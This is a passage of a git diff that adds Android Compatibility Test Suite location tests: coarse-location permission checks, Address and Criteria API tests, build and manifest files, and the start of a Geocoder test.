+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.LocationUtils;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+import java.util.Random;
+import java.util.concurrent.Executor;
+
+@RunWith(AndroidJUnit4.class)
+public class LocationManagerCoarseTest {
+
+    private static final String TAG = "LocationManagerCoarseTest";
+
+    private static final long TIMEOUT_MS = 5000;
+
+    // 2000m is the default grid size used by location fudger
+    private static final float MAX_COARSE_FUDGE_DISTANCE_M = 2000f;
+
+    private static final String COARSE_TEST_PROVIDER = "coarse_test_provider";
+    private static final String FINE_TEST_PROVIDER = "fine_test_provider";
+
+    private Random mRandom;
+    private Context mContext;
+    private LocationManager mManager;
+
+    @Before
+    public void setUp() throws Exception {
+        LocationUtils.registerMockLocationProvider(InstrumentationRegistry.getInstrumentation(),
+                true);
+
+        long seed = System.currentTimeMillis();
+        Log.i(TAG, "location random seed: " + seed);
+
+        mRandom = new Random(seed);
+        mContext = ApplicationProvider.getApplicationContext();
+        mManager = mContext.getSystemService(LocationManager.class);
+
+        assertNotNull(mManager);
+
+        for (String provider : mManager.getAllProviders()) {
+            mManager.removeTestProvider(provider);
+        }
+
+        mManager.addTestProvider(COARSE_TEST_PROVIDER,
+                true,
+                false,
+                true,
+                false,
+                false,
+                false,
+                false,
+                Criteria.POWER_MEDIUM,
+                Criteria.ACCURACY_COARSE);
+        mManager.setTestProviderEnabled(COARSE_TEST_PROVIDER, true);
+
+        mManager.addTestProvider(FINE_TEST_PROVIDER,
+                false,
+                true,
+                false,
+                false,
+                false,
+                false,
+                false,
+                Criteria.POWER_LOW,
+                Criteria.ACCURACY_FINE);
+        mManager.setTestProviderEnabled(FINE_TEST_PROVIDER, true);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        for (String provider : mManager.getAllProviders()) {
+            mManager.removeTestProvider(provider);
+        }
+
+        LocationUtils.registerMockLocationProvider(InstrumentationRegistry.getInstrumentation(),
+                false);
+    }
+
+    @Test
+    public void testGetLastKnownLocation() {
+        Location loc = createLocation(COARSE_TEST_PROVIDER, mRandom);
+        loc.setExtraLocation(Location.EXTRA_NO_GPS_LOCATION, new Location(loc));
+
+        mManager.setTestProviderLocation(COARSE_TEST_PROVIDER, loc);
+        assertThat(mManager.getLastKnownLocation(COARSE_TEST_PROVIDER)).isNearby(loc, MAX_COARSE_FUDGE_DISTANCE_M);
+
+        try {
+            mManager.getLastKnownLocation(FINE_TEST_PROVIDER);
+            fail("Should throw SecurityException for " + FINE_TEST_PROVIDER);
+        } catch (SecurityException e) {
+            // pass
+        }
+    }
+
+    @Test
+    public void testRequestLocationUpdates() throws Exception {
+        Location loc = createLocation(COARSE_TEST_PROVIDER, mRandom);
+        loc.setExtraLocation(Location.EXTRA_NO_GPS_LOCATION, new Location(loc));
+
+        try (LocationListenerCapture capture = new LocationListenerCapture(mContext)) {
+            mManager.requestLocationUpdates(COARSE_TEST_PROVIDER, 0, 0, directExecutor(), capture);
+            mManager.setTestProviderLocation(COARSE_TEST_PROVIDER, loc);
+            assertThat(capture.getNextLocation(TIMEOUT_MS)).isNearby(loc, MAX_COARSE_FUDGE_DISTANCE_M);
+        }
+
+        try (LocationListenerCapture capture = new LocationListenerCapture(mContext)) {
+            mManager.requestLocationUpdates(FINE_TEST_PROVIDER, 0, 0, directExecutor(), capture);
+            fail("Should throw SecurityException for " + FINE_TEST_PROVIDER);
+        } catch (SecurityException e) {
+            // pass
+        }
+    }
+
+    @Test
+    public void testRequestLocationUpdates_PendingIntent() throws Exception {
+        Location loc = createLocation(COARSE_TEST_PROVIDER, mRandom);
+        loc.setExtraLocation(Location.EXTRA_NO_GPS_LOCATION, new Location(loc));
+
+        try (LocationPendingIntentCapture capture = new LocationPendingIntentCapture(mContext)) {
+            mManager.requestLocationUpdates(COARSE_TEST_PROVIDER, 0, 0, capture.getPendingIntent());
+            mManager.setTestProviderLocation(COARSE_TEST_PROVIDER, loc);
+            assertThat(capture.getNextLocation(TIMEOUT_MS)).isNearby(loc, MAX_COARSE_FUDGE_DISTANCE_M);
+        }
+
+        try (LocationPendingIntentCapture capture = new LocationPendingIntentCapture(mContext)) {
+            mManager.requestLocationUpdates(FINE_TEST_PROVIDER, 0, 0, capture.getPendingIntent());
+            fail("Should throw SecurityException for " + FINE_TEST_PROVIDER);
+        } catch (SecurityException e) {
+            // pass
+        }
+    }
+
+    @Test
+    public void testGetProviders() {
+        List<String> providers = mManager.getProviders(false);
+        assertTrue(providers.contains(COARSE_TEST_PROVIDER));
+        assertFalse(providers.contains(FINE_TEST_PROVIDER));
+        assertFalse(providers.contains(GPS_PROVIDER));
+        assertFalse(providers.contains(PASSIVE_PROVIDER));
+    }
+
+    @Test
+    public void testGetBestProvider() {
+        // prevent network provider from matching
+        mManager.addTestProvider(NETWORK_PROVIDER,
+                true,
+                false,
+                true,
+                false,
+                false,
+                false,
+                false,
+                Criteria.POWER_HIGH,
+                Criteria.ACCURACY_COARSE);
+
+        Criteria criteria = new Criteria();
+        criteria.setAccuracy(Criteria.ACCURACY_COARSE);
+        criteria.setPowerRequirement(Criteria.POWER_MEDIUM);
+
+        String bestProvider = mManager.getBestProvider(criteria, false);
+        assertEquals(COARSE_TEST_PROVIDER, bestProvider);
+
+        criteria.setAccuracy(Criteria.ACCURACY_FINE);
+        criteria.setPowerRequirement(Criteria.POWER_LOW);
+        assertNotEquals(COARSE_TEST_PROVIDER, mManager.getBestProvider(criteria, false));
+    }
+
+    @Test
+    @AppModeFull(reason = "Instant apps can't hold ACCESS_LOCATION_EXTRA_COMMANDS")
+    public void testSendExtraCommand() {
+        mManager.sendExtraCommand(COARSE_TEST_PROVIDER, "command", null);
+
+        try {
+            mManager.sendExtraCommand(FINE_TEST_PROVIDER, "command", null);
+            fail("Should throw SecurityException for " + FINE_TEST_PROVIDER);
+        } catch (SecurityException expected) {
+            // pass
+        }
+    }
+
+    // TODO: this test should probably not be in the location module
+    @Test
+    public void testGnssProvidedClock() throws Exception {
+        mManager.addTestProvider(GPS_PROVIDER,
+                false,
+                true,
+                false,
+                false,
+                true,
+                true,
+                true,
+                Criteria.POWER_MEDIUM,
+                Criteria.ACCURACY_COARSE);
+        mManager.setTestProviderEnabled(GPS_PROVIDER, true);
+
+        Location location = new Location(GPS_PROVIDER);
+        long elapsed = SystemClock.elapsedRealtimeNanos();
+        location.setLatitude(0);
+        location.setLongitude(0);
+        location.setAccuracy(0);
+        location.setElapsedRealtimeNanos(elapsed);
+        location.setTime(1);
+
+        mManager.setTestProviderLocation(GPS_PROVIDER, location);
+        assertTrue(SystemClock.currentGnssTimeClock().millis() < 1000);
+
+        location.setTime(java.lang.System.currentTimeMillis());
+        location.setElapsedRealtimeNanos(SystemClock.elapsedRealtimeNanos());
+        mManager.setTestProviderLocation(GPS_PROVIDER, location);
+        Thread.sleep(200);
+        long clockms = SystemClock.currentGnssTimeClock().millis();
+        assertTrue(System.currentTimeMillis() - clockms < 1000);
+    }
+
+    private static Executor directExecutor() {
+        return Runnable::run;
+    }
+}
diff --git a/tests/location/location_fine/Android.bp b/tests/location/location_fine/Android.bp
new file mode 100644
index 0000000..2970bfb
--- /dev/null
+++ b/tests/location/location_fine/Android.bp
@@ -0,0 +1,36 @@
+// Copyright (C) 2008 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsLocationFineTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "LocationCtsCommon",
+        "androidx.test.ext.junit",
+        "androidx.test.ext.truth",
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "truth-prebuilt",
+    ],
+    libs: [
+        "android.test.base.stubs",
+    ],
+    srcs: ["src/**/*.java"],
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/location/location_fine/AndroidManifest.xml b/tests/location/location_fine/AndroidManifest.xml
new file mode 100644
index 0000000..01fe459
--- /dev/null
+++ b/tests/location/location_fine/AndroidManifest.xml
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2007 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.location.cts.fine">
+
+    <application>
+        <uses-library android:name="android.test.runner"/>
+    </application>
+
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
+    <uses-permission android:name="android.permission.ACCESS_MOCK_LOCATION"/>
+    <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION"/>
+    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
+    <uses-permission android:name="android.permission.ACCESS_LOCATION_EXTRA_COMMANDS"/>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.location.cts.fine"
+                     android:label="CTS tests for android.location">
+        <meta-data android:name="listener"
+                   android:value="com.android.cts.runner.CtsTestRunListener"/>
+    </instrumentation>
+
+</manifest>
+
diff --git a/tests/location/location_fine/AndroidTest.xml b/tests/location/location_fine/AndroidTest.xml
new file mode 100644
index 0000000..6b67ff6
--- /dev/null
+++ b/tests/location/location_fine/AndroidTest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS fine Location test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="location" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsLocationFineTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.location.cts.fine" />
+    </test>
+
+</configuration>
diff --git a/tests/location/location_fine/src/android/location/cts/fine/AddressTest.java b/tests/location/location_fine/src/android/location/cts/fine/AddressTest.java
new file mode 100644
index 0000000..00118c9
--- /dev/null
+++ b/tests/location/location_fine/src/android/location/cts/fine/AddressTest.java
@@ -0,0 +1,344 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.fine;
+
+import java.util.Locale;
+
+import junit.framework.TestCase;
+import android.location.Address;
+import android.os.Bundle;
+import android.os.Parcel;
+import android.os.Parcelable;
+
+/**
+ * Test the main functionalities of the AddressTest.
+ */
+public class AddressTest extends TestCase {
+    public void testConstructor() {
+        new Address(Locale.ENGLISH);
+
+        new Address(Locale.FRANCE);
+
+        new Address(null);
+    }
+
+    public void testDescribeContents() {
+        Address address = new Address(Locale.GERMAN);
+
+        assertEquals(0, address.describeContents());
+
+        Bundle extras = new Bundle();
+        extras.putParcelable("key1", new MockParcelable());
+        address.setExtras(extras);
+
+        assertEquals(extras.describeContents(), address.describeContents());
+    }
+
+    public void testAccessAdminArea() {
+        Address address = new Address(Locale.ITALY);
+
+        String adminArea = "CA";
+        address.setAdminArea(adminArea);
+        assertEquals(adminArea, address.getAdminArea());
+
+        address.setAdminArea(null);
+        assertNull(address.getAdminArea());
+    }
+
+    public void testAccessCountryCode() {
+        Address address = new Address(Locale.JAPAN);
+
+        String countryCode = "US";
+        address.setCountryCode(countryCode);
+        assertEquals(countryCode, address.getCountryCode());
+
+        address.setCountryCode(null);
+        assertNull(address.getCountryCode());
+    }
+
+    public void testAccessCountryName() {
+        Address address = new Address(Locale.KOREA);
+
+        String countryName = "China";
+        address.setCountryName(countryName);
+        assertEquals(countryName, address.getCountryName());
+
+        address.setCountryName(null);
+        assertNull(address.getCountryName());
+    }
+
+    public void testAccessExtras() {
+        Address address = new Address(Locale.TAIWAN);
+
+        Bundle extras = new Bundle();
+        extras.putBoolean("key1", false);
+        byte b = 10;
+        extras.putByte("key2", b);
+
+        address.setExtras(extras);
+        Bundle actual = address.getExtras();
+        assertFalse(actual.getBoolean("key1"));
+        assertEquals(b, actual.getByte("key2"));
+
+        address.setExtras(null);
+        assertNull(address.getExtras());
+    }
+
+    public void testAccessFeatureName() {
+        Address address = new Address(Locale.SIMPLIFIED_CHINESE);
+
+        String featureName = "Golden Gate Bridge";
+        address.setFeatureName(featureName);
+        assertEquals(featureName, address.getFeatureName());
+
+        address.setFeatureName(null);
+        assertNull(address.getFeatureName());
+    }
+
+    public void testAccessLatitude() {
+        Address address = new Address(Locale.CHINA);
+        assertFalse(address.hasLatitude());
+
+        double latitude = 1.23456789;
+        address.setLatitude(latitude);
+        assertTrue(address.hasLatitude());
+        assertEquals(latitude, address.getLatitude());
+
+        address.clearLatitude();
+        assertFalse(address.hasLatitude());
+        try {
+            address.getLatitude();
+            fail("should throw IllegalStateException.");
+        } catch (IllegalStateException e) {
+        }
+    }
+
+    public void testAccessLongitude() {
+        Address address = new Address(Locale.CHINA);
+        assertFalse(address.hasLongitude());
+
+        double longitude = 1.23456789;
+        address.setLongitude(longitude);
+        assertTrue(address.hasLongitude());
+        assertEquals(longitude, address.getLongitude());
+
+        address.clearLongitude();
+        assertFalse(address.hasLongitude());
+        try {
+            address.getLongitude();
+            fail("should throw IllegalStateException.");
+        } catch (IllegalStateException e) {
+        }
+    }
+
+    public void testAccessPhone() {
+        Address address = new Address(Locale.CHINA);
+
+        String phone = "+86-13512345678";
+        address.setPhone(phone);
+        assertEquals(phone, address.getPhone());
+
+        address.setPhone(null);
+        assertNull(address.getPhone());
+    }
+
+    public void testAccessPostalCode() {
+        Address address = new Address(Locale.CHINA);
+
+        String postalCode = "93110";
+        address.setPostalCode(postalCode);
+        assertEquals(postalCode, address.getPostalCode());
+
+        address.setPostalCode(null);
+        assertNull(address.getPostalCode());
+    }
+
+    public void testAccessThoroughfare() {
+        Address address = new Address(Locale.CHINA);
+
+        String thoroughfare = "1600 Ampitheater Parkway";
+        address.setThoroughfare(thoroughfare);
+        assertEquals(thoroughfare, address.getThoroughfare());
+
+        address.setThoroughfare(null);
+        assertNull(address.getThoroughfare());
+    }
+
+    public void testAccessUrl() {
+        Address address = new Address(Locale.CHINA);
+
+        String Url = "Url";
+        address.setUrl(Url);
+        assertEquals(Url, address.getUrl());
+
+        address.setUrl(null);
+        assertNull(address.getUrl());
+    }
+
+    public void testAccessSubAdminArea() {
+        Address address = new Address(Locale.CHINA);
+
+        String subAdminArea = "Santa Clara County";
+        address.setSubAdminArea(subAdminArea);
+        assertEquals(subAdminArea, address.getSubAdminArea());
+
+        address.setSubAdminArea(null);
+        assertNull(address.getSubAdminArea());
+    }
+
+    public void testToString() {
+        Address address = new Address(Locale.CHINA);
+
+        address.setUrl("www.google.com");
+        address.setPostalCode("95120");
+        String expected = "Address[addressLines=[],feature=null,admin=null,sub-admin=null," +
+                "locality=null,thoroughfare=null,postalCode=95120,countryCode=null," +
+                "countryName=null,hasLatitude=false,latitude=0.0,hasLongitude=false," +
+                "longitude=0.0,phone=null,url=www.google.com,extras=null]";
+        assertEquals(expected, address.toString());
+    }
+
+    public void testAddressLine() {
+        Address address = new Address(Locale.CHINA);
+
+        try {
+            address.setAddressLine(-1, null);
+            fail("should throw IllegalArgumentException");
+        } catch (IllegalArgumentException e) {
+        }
+
+        try {
+            address.getAddressLine(-1);
+            fail("should throw IllegalArgumentException");
+        } catch (IllegalArgumentException e) {
+        }
+
+        address.setAddressLine(0, null);
+        assertNull(address.getAddressLine(0));
+        assertEquals(0, address.getMaxAddressLineIndex());
+
+        final String line1 = "1";
+        address.setAddressLine(0, line1);
+        assertEquals(line1, address.getAddressLine(0));
+        assertEquals(0, address.getMaxAddressLineIndex());
+
+        final String line2 = "2";
+        address.setAddressLine(5, line2);
+        assertEquals(line2, address.getAddressLine(5));
+        assertEquals(5, address.getMaxAddressLineIndex());
+
+        address.setAddressLine(2, null);
+        assertNull(address.getAddressLine(2));
+        assertEquals(5, address.getMaxAddressLineIndex());
+    }
+
+    public void testGetLocale() {
+        Locale locale = Locale.US;
+        Address address = new Address(locale);
+        assertSame(locale, address.getLocale());
+
+        locale = Locale.UK;
+        address = new Address(locale);
+        assertSame(locale, address.getLocale());
+
+        address = new Address(null);
+        assertNull(address.getLocale());
+    }
+
+    public void testAccessLocality() {
+        Address address = new Address(Locale.PRC);
+
+        String locality = "Hollywood";
+        address.setLocality(locality);
+        assertEquals(locality, address.getLocality());
+
+        address.setLocality(null);
+        assertNull(address.getLocality());
+    }
+
+    public void testAccessPremises() {
+        Address address = new Address(Locale.PRC);
+
+        String premises = "Appartment";
+        address.setPremises(premises);
+        assertEquals(premises, address.getPremises());
+
+        address.setPremises(null);
+        assertNull(address.getPremises());
+    }
+
+    public void testAccessSubLocality() {
+        Address address = new Address(Locale.PRC);
+
+        String subLocality = "Sarchnar";
+        address.setSubLocality(subLocality);
+        assertEquals(subLocality, address.getSubLocality());
+
+        address.setSubLocality(null);
+        assertNull(address.getSubLocality());
+    }
+
+    public void testAccessSubThoroughfare() {
+        Address address = new Address(Locale.PRC);
+
+        String subThoroughfare = "1600";
+        address.setSubThoroughfare(subThoroughfare);
+        assertEquals(subThoroughfare, address.getSubThoroughfare());
+
+        address.setSubThoroughfare(null);
+        assertNull(address.getSubThoroughfare());
+    }
+
+    public void testWriteToParcel() {
+        Locale locale = Locale.KOREA;
+        Address address = new Address(locale);
+
+        Parcel parcel = Parcel.obtain();
+        address.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        assertEquals(locale.getLanguage(), parcel.readString());
+        assertEquals(locale.getCountry(), parcel.readString());
+        assertEquals(0, parcel.readInt());
+        assertEquals(address.getFeatureName(), parcel.readString());
+        assertEquals(address.getAdminArea(), parcel.readString());
+        assertEquals(address.getSubAdminArea(), parcel.readString());
+        assertEquals(address.getLocality(), parcel.readString());
+        assertEquals(address.getSubLocality(), parcel.readString());
+        assertEquals(address.getThoroughfare(), parcel.readString());
+        assertEquals(address.getSubThoroughfare(), parcel.readString());
+        assertEquals(address.getPremises(), parcel.readString());
+        assertEquals(address.getPostalCode(), parcel.readString());
+        assertEquals(address.getCountryCode(), parcel.readString());
+        assertEquals(address.getCountryName(), parcel.readString());
+        assertEquals(0, parcel.readInt());
+        assertEquals(0, parcel.readInt());
+        assertEquals(address.getPhone(), parcel.readString());
+        assertEquals(address.getUrl(), parcel.readString());
+        assertEquals(address.getExtras(), parcel.readBundle());
+
+        parcel.recycle();
+    }
+
+    private class MockParcelable implements Parcelable {
+        public int describeContents() {
+            return Parcelable.CONTENTS_FILE_DESCRIPTOR;
+        }
+
+        public void writeToParcel(Parcel dest, int flags) {
+        }
+    }
+}
diff --git a/tests/location/location_fine/src/android/location/cts/fine/CriteriaTest.java b/tests/location/location_fine/src/android/location/cts/fine/CriteriaTest.java
new file mode 100644
index 0000000..43ce33f
--- /dev/null
+++ b/tests/location/location_fine/src/android/location/cts/fine/CriteriaTest.java
@@ -0,0 +1,223 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.fine;
+
+
+import android.location.Criteria;
+import android.os.Parcel;
+import android.test.AndroidTestCase;
+
+public class CriteriaTest extends AndroidTestCase {
+    public void testConstructor() {
+        new Criteria();
+
+        Criteria c = new Criteria();
+        c.setAccuracy(Criteria.ACCURACY_FINE);
+        c.setAltitudeRequired(true);
+        c.setBearingRequired(true);
+        c.setCostAllowed(true);
+        c.setPowerRequirement(Criteria.POWER_HIGH);
+        c.setSpeedRequired(true);
+        Criteria criteria = new Criteria(c);
+        assertEquals(Criteria.ACCURACY_FINE, criteria.getAccuracy());
+        assertTrue(criteria.isAltitudeRequired());
+        assertTrue(criteria.isBearingRequired());
+        assertTrue(criteria.isCostAllowed());
+        assertTrue(criteria.isSpeedRequired());
+        assertEquals(Criteria.POWER_HIGH, criteria.getPowerRequirement());
+
+        try {
+            new Criteria(null);
+            fail("should throw NullPointerException.");
+        } catch (NullPointerException e) {
+            // expected.
+        }
+    }
+
+    public void testDescribeContents() {
+        Criteria criteria = new Criteria();
+        criteria.describeContents();
+    }
+
+    public void testAccessAccuracy() {
+        Criteria criteria = new Criteria();
+
+        criteria.setAccuracy(Criteria.ACCURACY_FINE);
+        assertEquals(Criteria.ACCURACY_FINE, criteria.getAccuracy());
+
+        criteria.setAccuracy(Criteria.ACCURACY_COARSE);
+        assertEquals(Criteria.ACCURACY_COARSE, criteria.getAccuracy());
+
+        try {
+            // It should throw IllegalArgumentException
+            criteria.setAccuracy(-1);
+            // issue 1728526
+        } catch (IllegalArgumentException e) {
+            // expected.
+        }
+
+        try {
+            // It should throw IllegalArgumentException
+            criteria.setAccuracy(Criteria.ACCURACY_COARSE + 1);
+            // issue 1728526
+        } catch (IllegalArgumentException e) {
+            // expected.
+        }
+    }
+
+    public void testAccessPowerRequirement() {
+        Criteria criteria = new Criteria();
+
+        criteria.setPowerRequirement(Criteria.NO_REQUIREMENT);
+        assertEquals(Criteria.NO_REQUIREMENT, criteria.getPowerRequirement());
+
+        criteria.setPowerRequirement(Criteria.POWER_MEDIUM);
+        assertEquals(Criteria.POWER_MEDIUM, criteria.getPowerRequirement());
+
+        try {
+            criteria.setPowerRequirement(-1);
+            fail("should throw IllegalArgumentException");
+        } catch (IllegalArgumentException e) {
+            // expected.
+        }
+
+        try {
+            criteria.setPowerRequirement(Criteria.POWER_HIGH + 1);
+            fail("should throw IllegalArgumentException");
+        } catch (IllegalArgumentException e) {
+            // expected.
+        }
+    }
+
+    public void testAccessAltitudeRequired() {
+        Criteria criteria = new Criteria();
+
+        criteria.setAltitudeRequired(false);
+        assertFalse(criteria.isAltitudeRequired());
+
+        criteria.setAltitudeRequired(true);
+        assertTrue(criteria.isAltitudeRequired());
+    }
+
+    public void testAccessBearingAccuracy() {
+        Criteria criteria = new Criteria();
+
+        criteria.setBearingAccuracy(Criteria.ACCURACY_LOW);
+        assertEquals(Criteria.ACCURACY_LOW, criteria.getBearingAccuracy());
+
+        criteria.setBearingAccuracy(Criteria.ACCURACY_HIGH);
+        assertEquals(Criteria.ACCURACY_HIGH, criteria.getBearingAccuracy());
+
+        criteria.setBearingAccuracy(Criteria.NO_REQUIREMENT);
+        assertEquals(Criteria.NO_REQUIREMENT, criteria.getBearingAccuracy());
+      }
+
+    public void testAccessBearingRequired() {
+        Criteria criteria = new Criteria();
+
+        criteria.setBearingRequired(false);
+        assertFalse(criteria.isBearingRequired());
+
+        criteria.setBearingRequired(true);
+        assertTrue(criteria.isBearingRequired());
+    }
+
+    public void testAccessCostAllowed() {
+        Criteria criteria = new Criteria();
+
+        criteria.setCostAllowed(false);
+        assertFalse(criteria.isCostAllowed());
+
+        criteria.setCostAllowed(true);
+        assertTrue(criteria.isCostAllowed());
+    }
+
+    public void testAccessHorizontalAccuracy() {
+        Criteria criteria = new Criteria();
+
+        criteria.setHorizontalAccuracy(Criteria.ACCURACY_LOW);
+        assertEquals(Criteria.ACCURACY_LOW, criteria.getHorizontalAccuracy());
+
+        criteria.setHorizontalAccuracy(Criteria.ACCURACY_MEDIUM);
+        assertEquals(Criteria.ACCURACY_MEDIUM, criteria.getHorizontalAccuracy());
+
+        criteria.setHorizontalAccuracy(Criteria.ACCURACY_HIGH);
+        assertEquals(Criteria.ACCURACY_HIGH, criteria.getHorizontalAccuracy());
+
+        criteria.setHorizontalAccuracy(Criteria.NO_REQUIREMENT);
+        assertEquals(Criteria.NO_REQUIREMENT, criteria.getHorizontalAccuracy());
+    }
+
+    public void testAccessSpeedAccuracy() {
+        Criteria criteria = new Criteria();
+
+        criteria.setSpeedAccuracy(Criteria.ACCURACY_LOW);
+        assertEquals(Criteria.ACCURACY_LOW, criteria.getSpeedAccuracy());
+
+        criteria.setSpeedAccuracy(Criteria.ACCURACY_HIGH);
+        assertEquals(Criteria.ACCURACY_HIGH, criteria.getSpeedAccuracy());
+
+        criteria.setSpeedAccuracy(Criteria.NO_REQUIREMENT);
+        assertEquals(Criteria.NO_REQUIREMENT, criteria.getSpeedAccuracy());
+    }
+
+    public void testAccessSpeedRequired() {
+        Criteria criteria = new Criteria();
+
+        criteria.setSpeedRequired(false);
+        assertFalse(criteria.isSpeedRequired());
+
+        criteria.setSpeedRequired(true);
+        assertTrue(criteria.isSpeedRequired());
+    }
+
+    public void testAccessVerticalAccuracy() {
+        Criteria criteria = new Criteria();
+
+        criteria.setVerticalAccuracy(Criteria.ACCURACY_LOW);
+        assertEquals(Criteria.ACCURACY_LOW, criteria.getVerticalAccuracy());
+
+       criteria.setVerticalAccuracy(Criteria.ACCURACY_HIGH);
+        assertEquals(Criteria.ACCURACY_HIGH, criteria.getVerticalAccuracy());
+
+        criteria.setVerticalAccuracy(Criteria.NO_REQUIREMENT);
+        assertEquals(Criteria.NO_REQUIREMENT, criteria.getVerticalAccuracy());
+    }
+
+    public void testWriteToParcel() {
+        Criteria criteria = new Criteria();
+        criteria.setAltitudeRequired(true);
+        criteria.setBearingRequired(false);
+        criteria.setCostAllowed(true);
+        criteria.setSpeedRequired(true);
+
+        Parcel parcel = Parcel.obtain();
+        criteria.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+
+        Criteria newCriteria = Criteria.CREATOR.createFromParcel(parcel);
+
+        assertEquals(criteria.getAccuracy(), newCriteria.getAccuracy());
+        assertEquals(criteria.getPowerRequirement(), newCriteria.getPowerRequirement());
+        assertEquals(criteria.isAltitudeRequired(), newCriteria.isAltitudeRequired());
+        assertEquals(criteria.isBearingRequired(), newCriteria.isBearingRequired());
+        assertEquals(criteria.isSpeedRequired(), newCriteria.isSpeedRequired());
+        assertEquals(criteria.isCostAllowed(), newCriteria.isCostAllowed());
+
+        parcel.recycle();
+    }
+}
diff --git a/tests/location/location_fine/src/android/location/cts/fine/GeocoderTest.java b/tests/location/location_fine/src/android/location/cts/fine/GeocoderTest.java
new file mode 100644
index 0000000..1aef76a
--- /dev/null
+++ b/tests/location/location_fine/src/android/location/cts/fine/GeocoderTest.java
@@ -0,0 +1,172 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.fine;
+
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.location.Geocoder;
+import android.test.AndroidTestCase;
+
+import java.io.IOException;
+import java.util.Locale;
+
+public class GeocoderTest extends AndroidTestCase {
+
+    private static final int MAX_NUM_RETRIES = 5;
+    private static final int TIME_BETWEEN_RETRIES_MS = 10 * 1000;
+
+    public void testConstructor() {
+        new Geocoder(getContext());
+
+        new Geocoder(getContext(), Locale.ENGLISH);
+
+        try {
+            new Geocoder(getContext(), null);
+            fail("should throw NullPointerException.");
+        } catch (NullPointerException e) {
+            // expected.
+        }
+    }
+
+    public void testIsPresent() {
+        Geocoder geocoder = new Geocoder(getContext());
+        if (isServiceMissing()) {
+            assertFalse(geocoder.isPresent());
+        } else {
+            assertTrue(geocoder.isPresent());
+        }
+    }
+
+    private boolean isServiceMissing() {
+        Context context = getContext();
+        PackageManager pm = context.getPackageManager();
+
+        final Intent intent = new Intent("com.android.location.service.GeocodeProvider");
